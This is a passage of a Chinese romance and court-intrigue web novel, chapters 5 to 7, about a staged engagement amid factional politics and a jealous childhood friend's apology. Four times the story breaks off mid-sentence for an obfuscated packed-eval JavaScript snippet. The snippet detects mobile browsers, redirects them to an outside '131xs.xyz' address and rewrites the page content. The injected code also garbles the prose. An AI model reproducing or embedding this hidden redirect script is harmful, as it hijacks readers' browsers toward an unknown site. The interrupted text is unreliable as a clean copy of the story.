这些迹象，姜彤或多或少能感受出来，毕竟爹爹在京中做官十多年，她也在这样的环境中长大，留心朝堂就是一种刻在骨子里的本能。 眼下徐元卿问她对时局的看法，她虽然不懂，但也努力去想——听说朝中如今分成了两个派系，一派以太后为尊，多为世家勋贵，如郑国公、武英侯之类带姻亲关系的公侯伯府；另一派则是新朝之后起复的文臣清流，以内阁为首，似乎多少对太后干政有些意见。 等等，若此事与婚约有关…… 姜彤想到了这段时日以来围绕着徐元卿的种种流言，其中武英侯府，正是太后身侧最大的助力之一，而内阁……内阁首辅孙阁老，如今已是八十高龄，早有退隐之意，次辅在清算宦党时受了伤，病休家中已久，而姚阁老，虽才入内阁不久，却风头正盛，世人都传他会是下一个首辅接任者。 她急忙问徐元卿：“康福长公主在朝中有何势力？” 徐元卿露出笑意：“我只多问了一句，看来你已经明白了。” 他对姜彤道：“康福长公主是先皇嫡长女，自幼便极为受宠，后来成婚嫁人，先帝特意允她能够随意出入皇宫，而且怕她婚后受屈，还专门为她拨了一支亲兵入公主府。” “先帝去世那晚，曾有人意图谋反，是康福长公主接到消息，率亲兵入宫坐镇，后来又力排众议支持太后垂帘听政，亲自定下了辅佐幼帝的人选。” 换而言之，近日看上徐元卿，位处流言中心的三家人物，一个是保当今天子顺利继位的皇室宗亲，一个是天子母家背后的姻亲臂膀，一个是为天子佐政朝阁权臣。 姜彤背后霎然冒出冷汗。 她禁不住问：“他们到底是要干什么？” “拉拢，结党，培植新的人手和力量，大抵就是如此。”徐元卿耐心地为她解释，“先帝在时，宦贼乱政，人人只求自保，如今换了新的天子，朝中势力重新划分，为首的人自然都想吸取更多的力量，收为己用。” 他看向姜彤：“今年恰逢新朝以来的第一次科举，中榜的人，自然就成了一块硕大鲜嫩的肥肉。” “可是，为什么是你？”她依然迷惑不解。 先前她并未想到这一层，一来是因为康福长公主深居权力高层，甚少在众人眼前出现，姜彤根本不了解，以为真的是长公主的女儿看上了徐元卿。 二来，武英侯是新皇登基之后才立的侯爵，又履立大功，武英侯府中各种人和事早就被众人八卦议论过无数遍，耳朵都听出茧来了。 更别提有关姚阁老的传言，那只是一句话，说明姚阁老欣赏徐元卿而已，又能代表什么？ 徐元卿听了姜彤的话，也只是道：“山中猛虎动辄为羚羊相斗，不是因为那羚羊味道有多特别，而是因为猛虎争夺地盘，所以不死不休。” 说到这里，他停了一下，“当然，也有一些巧合，今科一甲前三名，状元刘大人无亲无家，孤身一人，早在恩荣宴上便言明志向，要做那孤吏刚臣，以身作则誓除朝廷贪腐之气。榜眼郑大人是郑国公的族亲，他的家世已经决定了他的立场。” “至于我，我家在京城，父亲职位不高不低，正巧是他们可以拿捏的对象而已。” 姜彤无言。 这样一看，还真是。 两人聊到这里，其实话已经说开了，徐元卿也提起这段时间的流言：“这段时间，因为我中了榜，家中一直风波不断。我因为事先知情，所以对种种传言都不作回应，原本打算如父亲一般，入翰林专心修撰典 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920798|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 籍，等风波过去，再徐徐图之，但我没想到，家中双亲另有想法，他们做主为我……和你定了亲。” 他说着，看了她一眼。 姜彤垂着眸未动。 徐元卿道：“昨天晚上，我回到家，听他们说起婚约的事。” “我大抵上明白他们的想法。家父当年从庶吉士入翰林，就是因为过于求稳，不得圣心，才在翰林院中一蹉跎就是数十年，他不希望我重蹈覆辙。而家母……她恰好也喜欢你，早就有此心意。” “只不过，在这个节骨眼上，你们姜家与我徐家结亲，相当于绑到了一条绳上。” 徐元卿没有继续说下去，他的意思很明显：希望她能够自己想明白这其中的厉害关系。 两人说话的工夫，夜色也在一点一点变深，周围视野也变得不大分明。这个时辰，是姜百杰每日下值回家的时间，姜彤每天都会等他一起吃晚饭。 不过今日上午她出门时，已经跟管事交代过，回来又搭乘了马车，比以往速度要快，所以姜彤并不着急。 她咬了咬下唇，问他：“这件事，我爹知道吗？” 徐元卿十分坦诚：“姜大人是直接与家父商议的，我并不清楚。” 但姜彤内心已经有了答案：她爹与徐伯父虽然一武一文，但脾气十分投合。当年爹爹救下了徐少衡，又受托教他武功，徐家也知恩图报，知道爹爹忙于公事顾不着家，舅舅家离得又有距离，因而时常将她接到徐府照料，把她当亲女儿一样。 多年来，两家相互守望扶持，可以说关系比一般族亲还要亲厚。 她又想起昨日自己劝爹爹时，他总是左顾右盼，打岔糊弄，最后干脆起身就走。如今再看，分明是为了义气卖了女儿，在心虚。 姜彤不由一阵气闷。 她都不知该怎么说自己爹好。难道他觉得，把婚约的真相告诉她，她会一点情谊也不顾地拒绝吗？ 两人在车厢中相对坐着，徐元卿看姜彤一直沉默，又道：“昨夜我想了许久，此事原本与你们姜家没有关系，但如今婚约已定，即使现在退亲，你们也会受到连累，被有心人注意到……说不定，”他顿了顿，“说不定他们还会拿你的名声大做文章，于你不利。” 是，姜彤也明白。此事若只是普通的争风吃醋，她退了亲，那些人遂了意，便不会理睬她这个小虾米；但如今跟朝廷派系之争扯上关系，那些人会将徐姜两家的举动无限放大，会试探他们到底对谁忠诚，而且为了免除祸患，不让对手获利，期间攻讦陷害，任何事都有可能发生。 “所以你才会问我有没有心上人吗？”她抬起头看向他。 “是。”徐元卿也正看着她，干脆地承认，“我想来想去，若你心中有所属，这事就好办了，可以由我出面告诉两家大人，我无意成亲——你放心，对外过错也可以都推到我身上，届时你再跟你爹再好好商量，他为了你的幸福，必定会仔细考虑，等你嫁出去，这件事就与你们无关了。” “若没有呢？” “如果没有，”他迟疑了一下，郑重道，“我想请你配合演一场戏。” 5. 道歉 - 徐少衡从午后开始，便蹲守到西墙下，一直到天黑。 昨天夜里，他和姜彤吵完架，气呼呼的回去睡了，第二天日晒三竿才起床。 吃完饭没多久，他开始觉得无聊。 好吧，也不是无聊。其实徐少衡有不少事要做：他爹给他布置了功课，每日要按时完成；他娘最近张罗着给家里人做夏衣，早就把新衣服送来，等他试穿是否合身；城南京郊的海.棠花林近日开花了，许多人都去游玩赏景，他也早就打算去；还有，他淘到了一对西域来的宝刀，造型似弯月，工艺也十分精湛，他还没来得及细细欣赏…… 只不过，一想到他跟彤娘闹翻了，他就像是心头堵着什么一样，什么都干不下去。 徐少衡觉得又气又委屈。 他从小跟姜彤一起长大，日日形影不离，喜怒哀乐互相作伴。很早很早之前，他就喜欢她，认定了她，要和她携手到终老。 就在彤娘及笄前一日，两个人还好好的。那功课他都是跑到姜家去做的，早就成了习惯。夏衣的料子是彤娘帮他选的，他原本想等着她过来，第一个穿给她看。两人还约定，等她及笄宴后，就找一个好天气，叫上沈家的丫头一起去城南，顺便还能去旁边的跑马场吹吹风；还有那双西域弯刀，原本有一把是他预备给彤娘的惊喜，他还有话想对她说…… 都怪徐元卿！ 他抢什么不好，非要抢彤娘！ 他把这一切都毁了！ 徐少衡一想起这些，满腔的怒火就直往天灵盖上冲，恨不得立刻冲到徐元卿的院子里，把他的东西全都砸掉毁掉！让他也好好尝尝被人夺走心之所爱的痛苦！ 徐少衡捏着拳头，把自己关在院子里，沿着墙走一圈又一圈，小厮敲门他也不理，娘亲在院子外唤他也不应。一直走了大半个时辰，他又一个人，回到房中，松了线的木偶般倒在床榻上。 愤怒过后，便是满心的迷茫。 他不知道自己怎么做才好。 要怨爹娘吗？其实及笄宴之后，他立刻就为此事去找了他们。他问爹爹，爹爹把他训了一顿，说他整日游手好闲不知所谓，问娘亲，娘亲满脸高兴，只顾着叫人来张罗接下来的三书六礼流程，根本没心思听他说话。 他急得要死，想问他们为什么要把彤娘定给徐元卿而不是他，又不敢说得太直白。万一被人误会，不小心传出去，以为是彤娘在他兄弟二人之间纠缠不清，事情只会变得更糟…… 要怪彤娘吗？彤娘说她事前不知情，徐少衡相信她。她是最好说话的人了，总是习惯性为别人着想，委屈自己的感受。师父和他爹娘商量此事，必定没有问过她的意愿。 偏偏可恶的是，她这个人最听大人的话，认死理！ 昨天夜里，他一个冲动，把她惹生气了，回到家就开始后悔。 他不知道自己是怎么回事。明明去之前，他一直告诫自己，要相信彤娘，好好跟她商量，但一说起那个婚约，他就仿佛看到今后彤娘和徐元卿成双成对走在屋檐下，出口要他唤“嫂嫂”，于是他出口的话也变得蛮横刻薄…… 再一看到那块玉佩，他更加忍不住。 …… 徐少衡知道自己做错了事，一个人闷在床上恨天恨地恨自己，恨不得回到前一天，当着所有人的面把姜彤抢回来，宣示自己的所有权。 当然，他也知道这种事根本不可能，捶头流泪半天，恹恹地爬起来，打算去给姜彤道歉。 姜彤不在家。 他从晌午等到太阳落山，姜家后院一直安安静静的。 直到天彻底黑透了，姜彤住的屋子才亮起荧荧灯火。 徐少衡犹豫了半天，想到姜彤赶他时说的话，没有进去。 隔日，他一早醒来，磨磨蹭蹭等到天亮，立刻又去看姜家。 但姜彤又出去了。 徐少衡跑去找姜家管事打听，才知道她这两天都去了药铺，一忙就是一天。 徐少衡知道药铺的位置，以前还总和姜彤一起过去，跟沈舅舅一家都熟。 但眼下两人闹了矛盾，他担心自己跟过去的话，指不定会露出端倪，让沈舅舅他们多心。 徐少衡只好按耐住性子，又等了一天。 第三日，他长了记性，一起床便立刻跑去看姜家的动静。 待在院中看到那个熟悉的清丽身影，他立刻折回去，跟家里人说了声要外出，接着出了角门，轻车熟路地翻进姜家的院墙。 - 姜彤一大早照常起身练武，没多久，余光就看见某人如狸奴般踩过檐墙，三步两步顺着老树跳下来。 她装作没看见，手执轻刀，借着招式错腰向背，接连劈、旋、斩，凌厉的刀花映着晨光，好似疾风扫凛雪，锐气弄寒芒。 她很快浸入清鸣不绝的刀声里。 不知不觉，天也在渐渐放亮。 不知何时，突然一股细风以迅疾之势直冲她后颈，姜彤下意识回身格挡，却见徐少衡没老实在墙边站着，竟循着空偷袭，已经直逼她眼前！ 眼看刀刃就要划破他衣袖，姜彤吓一跳，一拍刀柄仓促收力，卸势不及，拄着刀连连后退几步，瞪着他道：“你疯了？！” 徐少衡被她骂，乌湛湛的双眸却亮起来，跟吃错了药似的高兴。他翘起嘴角，如顽童一样翻身跃来，佯似攻她面门，实则一掀身，两手迂回冲她的刀抓去—— 姜彤气急，一掌击开他，扬手将刀丢回到墙角的木架上，随即挥拳便迎上去。 两个人腾挪回错，一攻一防，一进一躲。徐少衡不及姜彤身手扎实，很快支应不住，挨了好几下。偏偏他还打不跑，一边哎哟哎哟痛叫，一边滑不溜秋地躲，围着她打转。 姜彤被他搞得没了脾气，寻机绕到他身后，再次侧手压肘一踢腿，将他压得单膝跪在地上，死死拿住。 “你来干什么？”她冷冷问。 徐少衡身形狼狈，气息尚急，闻言讷讷道：“我……我想过来看看你。” “看就看，那你动什么手？” 徐少衡老老实实被她钳着：“你不理我，生我的气，我想不到更好的办法。” 姜彤一愣，还没来得及说什么，徐少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920799|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡很快接着道：“彤娘，我知道错了，我那天不该抢你的东西，也不该发脾气，我这几天都在好好的反省……你原谅我好不好？” 他可怜兮兮地垂着肩，低着头，一副诚心认错的姿态。 姜彤抿着唇望了他半天，甩手松开他臂膀，转身回屋。 徐少衡知道眼前这关算是过去了，连忙高兴地爬起来，胡乱拍了拍衣摆上的灰尘，跟在她身后头进屋，开始诉苦： “……一早就知道错了，想找你来着，但是你不在，我只好等了一天又一天。” “这几天都没睡好，一闭眼就是你指着门让我滚。我不敢睡，夜夜睁着眼睛到天亮。” “彤娘，你最近在忙什么啊？我最近总见不到你，要不是问了黄管事，还以为你是故意躲着我，再也不愿见我了……” “上次这么吵架，还是前年，而且那次咱们统共也就两天两夜没说话，这次都比上次长了……” 姜彤背对着他没回答，脸上有些挂不住。 她知道徐少衡说话有点夸张，但也不算骗她。 幼年她刚遇到徐少衡的时候，他便是这样，对身边人极其依赖。 那时候徐家刚在长兴街置宅，姜彤在后院里呆着，经常听到隔壁传来撕心裂肺的幼童哭声。 彼时姜彤娘亲也才去世不到一年，她心中压抑，不爱出门。爹爹为了给她解闷，提起隔壁家中有个小少爷，和她差不多大，说找时间领来和她一起玩。 没多久，爹爹真的把那个小少爷带到了家中。两个人认识了，姜彤问徐少衡为什么老是哭。徐少衡说，他娘不要他，他心里难受。 姜彤觉得纳闷，跑去问姜父，才知道，原来徐少衡才来京城，人生地不熟，见到外人就怕，整天离不开娘。有时候他娘亲趁他睡觉离开做点别的事，徐少衡醒来看不见，都能哭一下午。 徐家因为新搬家正忙，被一个孩子折腾得不行。好在姜父救过徐少衡，徐少衡对姜家很有好感，愿意让姜父抱，也愿意来姜家玩。 姜彤和徐少衡很快熟了起来。 慢慢姜彤也知道了徐少衡更多的事。比如他体质特别弱，稍微见风见冷就生病，还经常做噩梦。徐家找了不少大夫巫医，都说徐少衡是因为落水患了失魂症，阴邪侵体，只能慢慢养，为此徐少衡头些年日日跟喝水一样喝药。 比如他因为身体不好，性子也特别敏感。他来找姜彤，姜彤若有事顾不上，他就觉得她是不想理他，在旁边吧嗒吧嗒掉眼泪。姜彤要是好好跟他玩，他就会高兴地尾巴翘起来，幼稚地在她面前找存在感，什么让姜彤喂他吃点心，指挥姜彤给他做小泥人、布老虎之类，好像这样才能证明姜彤对他好似的。 除了娇气、敏感一些，他性子其实也还不错。比如他十分理解姜彤丧母之痛，特别在乎她的心情，看她低落，会想方设法讨她开心。他平时喜欢在姜彤面前无理取闹，但若她认真起来，他也会立刻反省道歉，忙不迭跑过来哄她，生怕她难过。 这么多年，两人吵架的次数屈指可数。 ——只有一点，让她想起来就头疼。 6. 计划 很少有人知道，徐少衡对心中亲近之人，有一种无法言说的，近乎偏执的占有欲。 这一点，姜彤也是与他相处多年，经历了许多事，才慢慢察觉的。 幼年他在家中是如何与他兄长争夺父母之爱，这一点自不必提。大家都觉得因为他是幼子。许多人家的幼子幼女也都是这样，天生七窍玲珑，更招长辈偏爱，所以很多时候，大人们都当成趣事一般谈论。 姜彤第一次明显有这种感觉，是在徐少衡拜她爹为师之后。有次她和徐少衡扎完马步，不知怎么论起师门辈分，争执谁大谁小。两人的话被姜彤她爹听见了，乐呵呵地说以后他再收个小徒弟，让他俩都耍耍师姐师兄的威风。 当时姜彤站在徐少衡身侧，眼看着徐少衡脸色变得煞白，翻口就说不行。姜彤爹爹只当说笑，应了一声也没放心上，但徐少衡一点都不见踏实，又是捏肩又是捶腿地哄着她爹答应再不收徒了，才彻底将此事作罢。 那时候姜彤年龄还小，仍然也没有多想，只觉得徐少衡亲近她爹，不希望有人分去她爹的精力。直到四五年后，徐少衡跟姜彤走得越来越近，有次心血来潮跟着姜彤去药铺，发现沈芷也喜欢粘在姜彤后头跑，他又一次表现出了反常。 他开始千方百计阻挡姜彤去药铺，对刚认识的沈芷也表现出了极大的敌意。他阻挡不了姜彤的步子，就跟到药铺去找沈芷的茬，仗着自己是客人处处跟沈芷作对，还小心眼地当着沈芷的面炫耀姜彤对他有多好。 沈芷也不是好欺负的，徐少衡找上门，她也卯着劲跟他对着干。两个人凑到一块，硬是把姜彤当块香饽饽一样你争我抢，还为此打了好几场。 最后姜彤被折腾得实在不行，把两人各自教训了一顿，又严词告知徐少衡：沈芷是她表妹，是融在血缘里摘也摘不出的关系，他再怎么闹，她也不可能偏帮他，丢下沈芷不管。 徐少衡花了很长一段时间，才消化姜彤的话，慢慢跟沈芷处成平和友好的关系。 当然，这也是他们十岁出头发生的事了。这些年，徐少衡收敛得很好，只有些骄纵，以至于姜彤快忘了他还有这个毛病。 如今他故态复萌，又开始患得患失，她竟一时不知该怎么办才好。 小时候大家在一块玩，喜欢讲究个你跟我好，我跟她好，这很正常。但如今他们都长大了，将来也要各自成家。姜彤就算不跟他兄长成亲，也会跟别人成亲，而他，也会有自己的妻子。 人生聚散是寻常，他不可能永远像小时候那样跟着她，盯着她，孩子气地把她当作心爱的玩具一般霸占着不放。 “……彤娘，你怎么了？” 姜彤思绪纷杂，一连想了很多，直到被徐少衡连唤几声，才回过神来。 她也不敢回头看，只当作寻常般解释：“没什么，药铺最近病人多，我这两天都去帮忙了。”说着，拾起塌边的干净衣物，“刚才沾了一身灰，我想收拾收拾……你还有事吗？” 暗示他可以离开了。 徐少衡也十分有眼色，从门框边直起身：“好，那我出去，你先忙。” 姜彤松了口气，慢吞吞洗了个晨澡，待收拾干净去偏厅吃饭……发现徐少衡还在。 就这一会儿工夫，他跑回去换了身山岚浅青锦袍，腰间配一抹玄銙。背对着她的时候，纤长的发带随乌黑马尾搭在肩后一荡一荡，显得干净又明快，朝气十足。 姜彤认出他身上是不久前两人一起在徐宅选的绫缎料子，不觉驻足，心道他肤质白皙透亮，身形也挺拔，夏日穿上这种鲜嫩的颜色，果然好看。 虽然但是，姜彤看着看着又黑了脸——为什么大清早他不好好在自己家待着，偏要跑到她家晃悠？ 姜父已经去了官署，厅中无他人，徐少衡自顾自地吩咐厨娘上了粥菜，一个人站在桌边布置碗筷。 他听到声音回头，欢快地招呼她来坐。 粥都已经盛好了，姜彤说不出赶人的话，只好郁闷地上前。 徐少衡挨着她坐下。 两人安静吃饭。 待将碗重新放回到桌案上，姜彤道：“一会儿我要外出，家中只有黄管事守门。” 意思是不留他了。 徐少衡也吃完了，闻言问她：“你又要去药铺吗？” 姜彤点头。 “正好，我也要去。” 姜彤瞥他：“你不是还要背书么？” 徐少衡：“我已经背完了。” 看姜彤又要张嘴，他补充：“该抄的书也抄了，字帖也练了。” 姜彤将信将疑望着他。 徐少衡：“不信我可以拿来给你检查。” 徐少衡没有骗她。夜里睡不着，他觉得时间过得太慢，索性起床，一股脑把所有的功课都做了。 顺便他还想出了个计划。 当然，这计划是不能透露给姜彤的。面对姜彤狐疑的目光，徐少衡佯作无辜地眨眼。 姜彤问他：“你去药铺做什么？” 徐少衡含糊：“找沈芷有点事儿。” 姜彤只好同意。 两人一起去了药铺，果然今日来寻诊买药的人不少，堂中队伍早早排出了门外。 沈芷正在柜前帮忙梳理药方单子，看到徐少衡跟在她表姐身后进门，纳闷地问道：“你怎么来了？” 徐少衡见姜彤没搭理他，便直接跑到柜台后，美名其曰来帮忙。 引来沈芷警惕的视线。 徐少衡也不在意，辨药不行，抄方子他还是能做的。随即搬来马凳，殷勤地帮沈芷打起下手。 - 姜彤一直心神不宁。 这两日，药铺和寻常一样经营，再也没有奇怪的人来刺探。 那天傍晚在路上劫持她的人也消失得无影无踪。 但她知道，这件事远没有结束。等到了下午，看病的人少了，她寻了个空，跟舅舅告辞回家。 沈系舟正在清点账目，桌案前高高堆着数摞陈旧册子。见姜彤要走，抬起头意外地问她：“可是家中有急事吗？” 姜彤犹豫了下，点头。 沈系舟道：“行，那你去吧。”他顿了下，“我正好有东西打算交给你，这样，等你明日过来，清闲时来找我一趟。” 随即放她离开。 另一边，徐少衡赖在药铺，跟沈芷一起神神秘秘嘀咕了一下午，见姜彤要走，也立刻告辞。 临走前，他和沈芷比了个手势，像交换暗号一样。 姜彤懒得管他俩在干什么，和来时一样领着徐少衡回去。 等到了长兴街，徐少衡没再往姜家拐， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920800|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟姜彤道了别，进了徐宅的小门。 姜彤松了口气，也回到自己家。 ——她打算堵她爹。 这几日，姜柏杰总是一大早就离家，晚上要么深夜才归，要么一早就躲到自己房中休息。 然后第二天一大早又走。 姜彤强烈怀疑她爹在躲她。 至于原因么，他做了亏心事，不敢见自己女儿。 姜彤很有耐性，前两天被姜父变着法地躲开，今日便计划好早早回来，坐在东敞间喝茶等人。 姜宅不大，里外只有三进。前院大多用来见外客，往里走是东偏厅，前后用游廊连通，是一家人平日吃饭闲坐的地方。偏厅以西，锁着姜父的院子，里面是他的书房和卧室。若出了东偏厅再往里走，便是后院，院子里栽了两棵树，一汪浅鱼池，布置十分简朴。 姜彤自己也单独住了个小院，是从原本的后院隔开的，这样她无论练武还是休息，都比较自在。最后方是厨房和杂物房，中间隔了通路，谁也不会打扰谁。 姜彤沏了一壶茶，坐在东偏厅中眼观六路，耳通八方，等到酉时刚过，便见她爹悄没声息地回来了。 姜彤起身走到门边，叫住那个明明身形魁梧，却看上去蹑手蹑脚的背影：“爹，你吃过饭了吗？” 姜柏杰刚走到自己院门前，闻言身形一顿，偏了下头，哈哈笑着道：“吃过了，我回来拿点东西，正好一会儿还要出去。” 一边说，一边背对着她迅速拿钥匙开院门。 姜彤走上前：“您这是又要去哪儿？” 姜父仍然不敢看她：“那什么，家中有本珍藏的古籍，内容和公务相关，正好上司这两天提起想借去看看，我得给他送过去。” 姜彤听了也没说话，心道恐怕给上司送书是假，借机溜出去是真。然后呢，在外面找个地方消磨到大半夜回来，说上司留他谈话，如此又能躲过一天吧！ 她也不准备跟自己爹绕弯子。眼看她爹进了院子，走向书房，她站在原地思量片刻，等姜父再出来，堵在院门口道：“爹，元卿哥前日找我了，跟我说了朝堂上的事情。” “您是不是因为知道徐家的情况，所以才和徐伯父他们定下了婚约？” 那日徐元卿送她回家，和她道明了前因后果，最后提出一个请求，希望能与她演一场戏。 这场戏说起来十分简单。朝堂各方势力博弈，遮遮掩掩想借姻缘逼徐元卿带头投诚，徐元卿便光明正大，借姜彤演一出情深不改的戏码。 总归徐元卿现在是一面被多方势力拿来立威的靶子，谁若急了、逼迫过了，谁就会失去道德高地，被众人口诛笔伐。 徐元卿也承诺，若中间姜家遇到什么问题，尽都可告诉他，他有办法摆平。待此事平息，他也会找个由头取消婚约，再不打扰她。 当然，只要她愿意，条件也任她提。 姜彤当时没有答应，她想先跟姜父问清楚。 姜柏杰从书房出来，见女儿气定神闲站在院门前问他话，再也不说什么门第合适不合适，便清楚她的确知道了。 他揣着怀中的古籍册子，也不着急走了，将腰间的钥匙收好，叹了一声：“既然你知道，我也不瞒你了，我确实有此思量。” “不过，其实还有另一个原因。” 7. 姜家 姜柏杰将女儿带到东偏厅，坐到窗下的矮几旁，指着墙上挂着的一副女子肖像图问她： “还记得你娘亲的事吗？” 姜彤看着画像，点头。 画中的女子身形纤柔，柳眉凤目。一眼望去，她穿着一身杏色对襟长裙，手执团扇站在桃花树下，抬手轻嗅花枝，满是岁月静好之意。 这幅画是爹爹在娘亲二十五岁生辰时，请画师画的。原本是给娘亲庆生的礼物，却没想到，如今成了姜彤回忆娘亲的唯一途径。 娘亲走后，爹爹找人临摹了许多张，一张挂在厅中，一张挂在他自己的卧房，时时看望。还有几张收了起来，若有破损便整理替换，以免忘记故人相貌。 姜彤也常听他说起娘亲以前的事。 姜家祖籍在湖广衡阳，姜彤爹娘都是在那里长大。 她的娘亲沈玉珍，家中是行医的，因为一些变故，外祖父母很早去世。沈玉珍把家中医馆改成药铺，一个人拉扯弟弟沈系舟。 后来遇到姜柏杰，沈玉珍便和他成了亲。在逆王谋乱后，姜柏杰调入京军，沈玉珍卖了家中的铺子，带着弟弟一起迁了过来。 姜彤听姜父讲，那时候他要随军在京郊营卫驻扎，经常十天半月才能回来一次，沈系舟年纪尚小，在京城药堂当学徒，家中支出、弟弟的束脩，全靠沈玉珍一人维持。 京城寸土寸金，两人没有根基人脉，没有钱财，寸步难行。而沈玉珍为了贴补生计，经常提着药箱四处给人看诊赚钱，寒冬腊月都不得歇。 后来姜父立功得了奖赏，他们日子宽裕起来，置办起宅院。沈玉珍生下姜彤，为了长远规划，又忙着开药铺，总是劳碌到三更半夜，动不动忘了吃饭。 因为辛苦操劳，沈玉珍损伤了身体。后来京城早春一场疫灾，她在救病人时染上寒症，没能挺过去。 姜柏杰凝眸看了会儿画像，道：“以前，我俸禄低微，又时常不在家，你娘为了家里，着实吃了不少苦。” “那年春天，我刚拿到巡城营的调令。原本以为自此之后能每日归家，咱们一家三口可以时时相见，却没想到收到了你娘病重的消息。” “那时候你才丁点大，跟着你舅舅，蹲在后厨学着给药罐打扇子，认真给你娘熬药。我不敢看，在你娘榻前发誓，一定会好好将你养大，将来找个好婆家，再也不受贫苦所扰。” 姜彤看向姜父。 姜父一无所觉，对着画像出了会儿神，垂下头：“唉……” “你一年一年地长大，但你爹我……官位品级不上不下，以咱们姜家的情况，能选的人家也实在是有限。” 姜彤唤道：“爹，其实——” 姜柏杰伸手制止她说话，随即盘腿坐正，探身摊开手，以指细细清点：“这些年我仔细想过，你将来的夫家不能远，毕竟我只有你一个女儿，万一遇到点什么困难，我也好照应；不能穷，你娘吃过的苦头，我绝不能让你再吃一遍；不能嫁商户，那些人虽然有钱，但商为贱籍，你嫁过去，容易遭人白眼。” “你别急，听我说完，”他不让姜彤插嘴，接着道，“我想过我的那些同僚，他们家中儿子有与你年龄相近的，但后来又想，武官常常与刀兵祸患为伍，指不定哪天就没了命，你若是守寡该怎么办？” “但若说文官，唉……我更是两眼一抹黑。门第高了，怕那大宅院中有什么龌龊，我想护你都不能。门第低了，又怕女婿没出息，整日只知吟些酸诗，愤世嫉俗……我一个男人，也不好整天跟后宅夫人混在一起，去打探别人家中的那些私事，这些年真是为此愁得不行。” 姜彤不知道说什么好，只能静静陪父亲坐着。 姜父自斟自饮了一杯茶，又道：“后来，徐大人来找我，言辞中透出为家中长子说亲求娶之意，我那时候，真是豁然开朗，越想越好！” “你看，徐家家境比咱家好，家风也清正和善。哪怕为着这么多年的交情，他们也必然会善待于你。” “徐家现在遇到的问题，不过一时，你爹我在官场上混那么多年，这点还是能看出来的。闺女，你不用去管那些弯弯绕绕，朝廷的事就让朝廷的人去解决，你只管安心嫁过去，做你的官太太。爹爹在朝中也有撑腰的，定然不会让那些人欺负你。” “……” 姜柏杰一通剖白，让姜彤听了心里发酸。她没想到爹爹一个五大三粗的汉子，背地里为了她的婚事如此殚精竭虑。 她对姜柏杰道：“爹爹，以后你别一个人劳心费神了，有什么难处，咱们可以一起商量。一门婚事而已，真不用计较那么多。” 但她的话却引来姜柏杰多心：“你这话……好好的，徐元卿找你做什么？” 姜彤一顿，看到姜柏杰的脸色，连忙道：“他……他把一切都告诉我，是想让我心中有个准备。” “这还差不多。”姜柏杰脸色转缓，“徐兄对长子期望甚高，徐元卿十年闭门苦读，如今一鸣惊人，受人瞩目也是正常。不像少衡，只要身体康健，徐家就没什么多的要求。” 提到徐少衡，他不自觉露出笑意，“这臭小子，跟着我练了这么多年拳脚，如今可比小时候皮实多了。上个月还被我逮到夜里翻墙偷跑出去玩，哈哈哈……” 姜彤讪笑，心想他可不止出去玩。 姜柏杰说着站起身，“好了，爹爹其实也没骗你，喏，”他掏出怀中一本泛黄略带破损的册子，“这段时间公中有要务，上下都忙，张大人还在官署中等我，说完了我还是要出去。” 姜彤一句话没有再吭，把姜柏杰送出了家门。 她没再跟爹爹细究为什么他方才回来时蹑手蹑脚，听到她的声音会吓一跳。 道理很简单，爹爹躲着她，是因为有些话不好说出来让她担心。 就像爹爹问她，徐元卿有何目的一样。她下意识便想让爹爹别忧心。 事已至此，她决定对爹爹瞒下徐元卿的请求。 徐家她要帮，毕竟这些年徐家也帮过他们很多。远的不说，爹爹去年能够升职，就有徐伯父的举荐之恩。 况且，姜家已经身在此局之中，帮人也是帮自己。 至于婚事，姜彤决定顺其自然。左右不过是过日子，这么多年爹爹独身一人，不也这么过来了？ 只要一家人和和美美，她不在乎外在的那些名利。 心中主意既定，她按照那日徐元卿所说，找到徐府守在侧门的小厮，给他送去消息。 很快，姜彤便收到徐元卿回复，约她半月后，陪徐伯母一起去城外灵禅寺上香。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920801|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 信中简单解释了一番，提及那日有位贵人也会去灵禅寺。届时她们顺道去拜访贵人，若得对方青眼，他们的压力会小很多。 